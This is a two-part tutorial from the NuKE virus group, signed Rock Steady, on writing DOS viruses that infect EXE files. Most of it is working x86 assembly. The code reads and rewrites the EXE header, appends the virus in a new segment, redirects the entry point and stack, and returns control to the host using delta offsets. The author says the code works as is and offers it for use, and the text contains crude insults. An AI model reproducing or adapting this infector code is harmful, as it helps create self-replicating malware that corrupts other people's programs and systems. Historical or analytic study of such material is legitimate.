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EXE Infections.

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Part I:

We must admit there are HUGE amount of Lame Viruses out there. Ever
wonder why so many people talk about the AIDS virus? Its a fucken over
writting virus. Its HUGE in size and its written in PASCAL. Please! Have
a little more respect for the virus world. What happened to that old
Bulgarian Spirit? That too has died. Bulgaria isn't writting as many top
viruses as it used to! Or are we in for a surprise? (USSR Kicks!)

Well to help people in advancing their Virus programming ability I will
try to explain that basics in Infecting an EXE file. There are several
ways to infect an EXE file. And I have tried several types. The best one
I have programmed is the one you'll see. In Basic, it will infect EXEs
by starting a new segment, only for the virus. This will infect EXEs over
the size of 64k, and it is alot less complicated..

Before we can begin we must know a few things, about EXEs. Let's say a
.COM file has been loaded to segment address 1234:0000. When the COM file
runs its code is limited to 1234:0000 to 1234:FFFF (64k). In the other
end EXE files, are basicaly several COMs in one. Where EXE files can set
up DATA struct in one segment, CODE in another, and STACK in another. EXEs
can have an unlimited amount of Segments, its limitation is Memory
Availablity. And the EXE file keeps track of these Segments, with an
EXE header, telling DOS what segments start where, How big the file is,
the amount of memory needed to run. the EXE header is the first few bytes
of the EXE file. Though if you use DEBUG to load an EXE file you will not
run into the EXE header, as DEBUG uses the EXE header to load its CS:IP
regesters with, the SS:SP and so on. Though you can view the EXE header
with debug if you Rename that EXE file. So just do `DEBUG FILENAME.EQE'
Just rename an EXE, the extension can be anything you wish, however don't
go and rename it to COM or BIN, these are reserved Extensions, and debug
treats them differently, Example if you rename it to COM debug will load
the IP regester as 0100h. The EXE header is Usually 28 bytes, though it
is save as 32 Bytes Long. As the size of the EXE header (Offset 8) is in
multiple 16 bytes, so 28 bytes will have to be covered in (16*2)! But the
last 4 bytes are unused, by dos, Though Doesn't STOP a VIRUS from using
it? Just a poping ideas out in the open. Anyhow this is how the EXE header
consists, of..
START OFFSETS DISCRIPTIONS
(hex) (dec)
00 | 00 | Always 4D 5A. Marks this file as an .EXE file
*02 | 02 | Remainder after dividing load module's size by 512
*04 | 04 | Size of file in 512 byte pages
06 | 06 | Number of relocation table entries
@08 | 08 | Size of header in paragraphs (16 bytes)
0A | 10 | Minumum number of paragraphs required after loaded program
0C | 12 | Maximum number of paragraphs required after loaded program
*0E | 14 | (SS) Offset of Stack Segment in Load module in paragraphs
*10 | 16 | SP regester loaded with this word
12 | 18 | Negative sum (ignore overflow) of all words in file (CRC)
*14 | 20 | IP register loaded with this word
*16 | 22 | (CS) Offset of Code Segment in load module in paragraphs
18 | 24 | Offset of first relocation item.
1A | 26 | Overlay number. If no overlays used, this is 0
* = Will be Edited by our Virus
@ = Needed to help our reconstruction of the EXE header

First thing to do is read the EXE header for the file to be infected!
That can be resolved by...
mov ah,3fh ; Read from File BTW: BX=File Handle
mov cx,1ch ; Read 1Ch Bytes (28)
mov dx,offset ds:[buffer] ; Put it in our Buffer we set up!
int 21h ; Call the Dos to do it.
jc error_exit ; Error accured, Jmp to an Exit Routine
buffer db 1Ch DUP (?) ;This is how to set up your buffer.
exe_ip dw 0 ;This is were you will save the original
exe_cs dw 0 ;Registers from the EXE header!
exe_sp dw 0 ;Put all theses DWs & DBs at the end of
exe_ss dw 0 ;you file, with all the others...
Next, after reading the first 28 bytes, you will need to set your file
pointers to the end of the file.

mov ax,4202h ; Move Read/Write Pointer to End of File
xor cx,cx ; plus offset (CX:DX)! So make sure CX:DX
xor dx,dx ; are ZERO or else it will go further than
int 21h ; the End of File!
jc error_exit ; Also test for errors! Be a Smart Virus!

After bringing your virus to the end, you may start the infection
process...
;Remember BX = File Handle DX:AX Pointer Location (EOF)
cmp word ptr cs:[buffer],5A4Dh ; Is file an .EXE?
/\ Reverse double word format
jnz error_exit ;Exit its NOT an .EXE file!
mov cx,word ptr cs:[buffer+14h] ;IP register Read
mov word ptr cs:[exe_ip],cx ;Save IP Register
mov cx,word ptr cs:[buffer+16h] ;CS Register Read
mov word ptr cs:[exe_cs],cx ;Save CS Register
mov cx,word ptr cs:[buffer+10h] ;SP Register Read
mov word ptr cs:[exe_sp],cx ;Save SP Register
mov cx,word ptr cs:[buffer+0Eh] ;SS Register Read
mov word ptr cs:[exe_ss],cx ;Save SS Register

The following finds new CS:IP and SS:SP registers. It will create a new
segment, and CS:IP will point to the beginning of the Virus. If you have
other code, and the virus beginning is further down the First byte, just
add the number of Bytes to AX.
push ax
push dx
call Find_New_Offsets ;Refer to it at the END of this Text
sub dx,word ptr cs:[buffer+8h] ;Minus CS offset by EXE header!
mov word ptr cs:[buffer+16h],dx ;Save new CS Register
mov word ptr cs:[buffer+14h],ax ;Save new IP Register
pop dx
pop ax ; Restore Original DX:AX Point Location (EOF)
add ax,virus_size ; .STACKs are usually at the end of the code
; in the EXEs, since our virus is now at the
; End, we must move it after our virus, thus
; it back at the END of the File!
adc dx,0 ;Add with Carry Flag!
push ax
push dx ;Save new EOF pointer Location
call Find_New_Offsets ;Get NEW offsets for SS:SP
sub dx,word ptr cs:[buffer+8h] ;Subtract EXE header from File Size
;as it should not be counted!
add ax,40h ;Move Stacks a little after EOF
mov word ptr cs:[buffer+0Eh],dx ;Save new SS Register for Stacks
mov word ptr cs:[buffer+10h],ax ;Save new SP Register for Stacks
pop dx
pop ax ;Restore Original EOF (With Virus Counted)
push bx
push cx
mov cl,7 ;In Simple, here we are figuring out
shl dx,cl ;the New File Size in 512byte pages
add bx,ax ;Now Rather than using the DIV and
mov cl,9 ;MOD function, I used this one because
shr bx,cl ;It is alot FASTER for the Processor!
add dx,bx ;The Result is exactly same, But
and ax,1FFh ;Shifting bits, results of the
jz Its_Even ;Same function when dealing with base
inc dx ;16 numbers!
Its_Even: ;Read PeterNorton's Advanced ASM Language for
pop cx ;more neat short cuts for the above!
pop bx
mov word ptr cs:[buffer+2h],ax ;Remainder after of 512 pages
mov word ptr cs:[buffer+4h],dx ;New File Size in 512 pages
Now we are Ready to write the virus to the EXE File! (Yeah!)
mov ah,40h ;Write to File
mov dx,offset init_Virus ;This is the BEGINNING offset of your
;Virus! (Look at NuKE PoX v1.1)
mov cx,Virus_size ;Virus Size
int 21h
jc error_exit ;Error Exit dude...
mov ax,4200h ;Move File Pointer to the BEGINNING
xor cx,cx ;of the EXE so, we may now write the
xor dx,dx ;EXE header!
int 21h
mov ah,40h ;Write to File
mov dx,offset ds:[buffer] ;Write all the stuff in the EXE_Header
mov cx,1Ch ;CX=number of bytes to write
int 21h ;Do it!

; finds new Offsets for CS:IP & SS:SP Registers
Find_New_Offsets PROC NEAR
push bx
push cx
mov cl,0Ch ;(c) Rock Steady/NuKE
shl dx,cl ; I'm dividing here....
mov bx,ax
mov cl,4 ; And multiply by 16 hear
shr bx,cl
add dx,bx
and ax,0Fh
pop cx
pop bx
retn
Find_New_Offsets ENDP
Rock Steady / NuKE
PS: This code works 100% as is! (Resident Virus) For Non-Residents add
a location pointer! Besides, Why the Hell are you write a non-Ressy
Virus? You Gay? Look at `NuKE PoX V1.1' sources to see this working!

 

Part II:

The first part consisted on how to Infect the EXE file, from a resident
virus. However, that is only HALF the code and understanding needed for
EXE infectors. The part to follow, is on how to give control back to the
original EXE file. This is one part of EXE infectors, that mostly EVERY
ONE tend to forget to point out. Big tickle, you know how to infect the
EXE, but can you make the original EXE run after its infection? Do you
know how to restore the registers we took from the EXE header? Anyhow
lets get going...

If the Infected EXE file is now executed, the first Line of Code it will
encounter will be the first byte of our Virus. Since CS:IP have been
changed in the header (Part I) to point to our Virus. The first thing
we will need to do, is set up a Variable offset, (As I call it). Basically
when TASM compiles our virus, all variables and other data locations are
given a FIX address. Though in the case of the Virus this is NOT GOOD as
viruses, tend to append themselves, and therefore variables are never
in the same location...
Fig 1.
(Original ASM Source)
CALL doit_Now ;Call PUSHes CS:IP addresses
doit_now: POP BP ;POP in BP the IP register
SUB BP,offset doit_now ;Make it EQUAL 0 for first Compile!
MOV AX,word ptr cs:[variable+BP] ;BP=0 now it works!
...
variable dd 55
When TASM Compiles the above Code it turns it into Fig 2. (Below)
Fig 2. Fig 3.
(Virus Just Compiled) (Virus Infect to a file)
1234:0100 CALL 1234:0103 1234:0100 JMP 500
1234:0103 POP BP 1234:0102 ... (Infect File)
1234:0104 SUB BP,0103 ... '' ''
1234:0107 MOV AX,[0200+BP] 1234:0200 ... '' ''
... ... '' ''
1234:0200 dd 55 1234:0500 CALL 1234:0503
1234:0503 POP BP (BP=503)
1234:0504 SUB BP,0103 (BP=400)
1234:0507 MOV AX,[0200+BP]
... (200+BP=600)
1234:0600 dd 55
Later when the Virus infects a File, it will represent Fig 3. Now, when
the CALL command is executed, it PUSHes into the Stacks the NEXT CS:IP
so when it has to RETurn, all it has to do is POP back the CS:IP to know
exactly where it left off! So we can take advantage of the command, by
POPing back ourselves, thus this will give us the NEXT byte from the CALL
command. which as you see, in the examples is our POP BP statement.

However when the Virus is Freshly Compiled, all Registers values are GOOD,
so that is why we must make BP=0 the first time, as the variables were
set according to the sources, so no adjustment needed, though when we
infect a file, this BP Variable Pointer come ALIVE! (View Fig 3. + Fig 2.)

Boy, That was the HARDEST part of that, Now if you found that simple pat
yourself on the back, as that is the only `BIG' Conflict people tend to
disregard or forget. So any time while you are NOT resident but infected
on the file, and you are running code from the infected file just use the
that BP Variable Pointer, for any data being loaded... Now lets put the
routine together, along with the routine to EXECUTE the original EXE file

; After the Virus Has moved a copy of itself in memory, Control must be
; Given back to the Original EXE file we just infected... This is the
; Routine to do it..
exit_exe_file:
mov bx,word ptr cs:[buffer+22][bp] ;Loads CS register
mov ax,cs ;Move current CS in AX
sub ax,bx ;Subtract for alinment
mov dx,ax
add ax,word ptr cs:[exe_cs][bp] ;Get ORIGINAL CS
add dx,word ptr cs:[exe_ss][bp] ;Get ORIGINAL SS
mov bx,word ptr cs:[exe_ip][bp] ;Get ORIGINAL IP
mov word ptr cs:[fuck_yeah][bp],bx ;Put IP
mov word ptr cs:[fuck_yeah+2][bp],ax ;Put CS (Reverse Order)
mov ax,word ptr cs:[exe_sp][bp] ;Get ORIGNAL SP
mov word ptr cs:[Rock_fix1][bp],dx ;Put in SS
mov word ptr cs:[Rock_fix2][bp],ax ;Put in SP
db 0B8h ;The Byte `B80000' is really a MOV AX,????
Rock_Fix1: ;???? is the Value of SS that we will put into
dw 0 ;THIS LINE!
cli ;Disable Interrupts (No Jamming)
mov ss,ax ;Mov the AX (really SS) into SS register
db 0BCh ;Byte `BC0000' is really a MOV SP,????
Rock_Fix2: ;???? is the Value of SP that we will put into
dw 0 ;THIS LINE!!
sti ;Enable Interrupts
db 0EAh ;The Byte `EA00000000' is a JMP CS:IP How ever
fuck_Yeah: ;IP comes FIRST then CS (Reverse Order) And then
dd 0 ;the Virus does the JMP CS:IP to the Original
; Simple huh?
; To see this as a HOLE Virus look at `NuKE PoX V1.1' Virus Sources Codes
; Made by me (Rock Steady) As you can see the Code is ORGINAL, and nothing
; that looks like any of them Sources we see around. Though I give it to
; you to use.
Rock Steady / NuKE
`One, Two, One, Two, One, Two... Come On Get into that Olympic Spirit'
`Lose Them pounds, Get Rid of that unwanted FAT of them Drives...'

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